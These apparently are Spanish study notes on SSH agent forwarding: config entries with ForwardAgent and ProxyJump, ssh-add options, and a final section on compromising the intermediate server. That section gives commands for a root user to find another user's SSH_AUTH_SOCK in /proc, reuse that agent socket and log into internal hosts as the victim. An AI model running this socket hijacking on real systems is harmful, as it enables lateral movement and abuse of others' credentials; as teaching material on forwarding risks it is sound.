agente SSH
ssh-agent (port forwarding)
- ~/.ssh/config
Host dmz HostName dmz User alice ForwardAgent yes
- Acceso ordenador DMZ (intermedio):
ssh dmz # ssh -i ~/.ssh/clave_privada -A user@host
- ~/.ssh/config
Host internalserver HostName 192.168.10.30 User alice ProxyJump dmz ForwardAgent yes
- Acceso ordenador interno a través del intermedio:
ssh internalServer- SiForwardAgent està deshabilitado no se puede.
- verificar
opciones
ssh-add <clave>: añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar)-t <segundos>: duración de la identidad en el agente
ssh-add -K <clave>: añade permanentemente la clave para su usossh-add -L: lista las claves públicas de las claves existentesssh-add -l: lista las clavesssh-add -d <clave>: elimina la clave-D: elimina todas las claves
ssh-add -x: bloquea agente-X: desbloquea agente
comprometer el servidor intermedio
- entrar como root
- mirar usuarios del sistema
- mirar si tienen procesos SSH abiertos:
pstree -p <USER> | grep ssh
- mirar variables del entorno del usuario:
cat /proc/<PID>/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK
- mirar a quien corresponde el socket (root):
SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh-add -l
- mirar ordenadores remotos del usuario:
cat /home/<USER>/.ssh/known_hosts
- probar la conexión con esos servidores:
SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh alice@internalserver
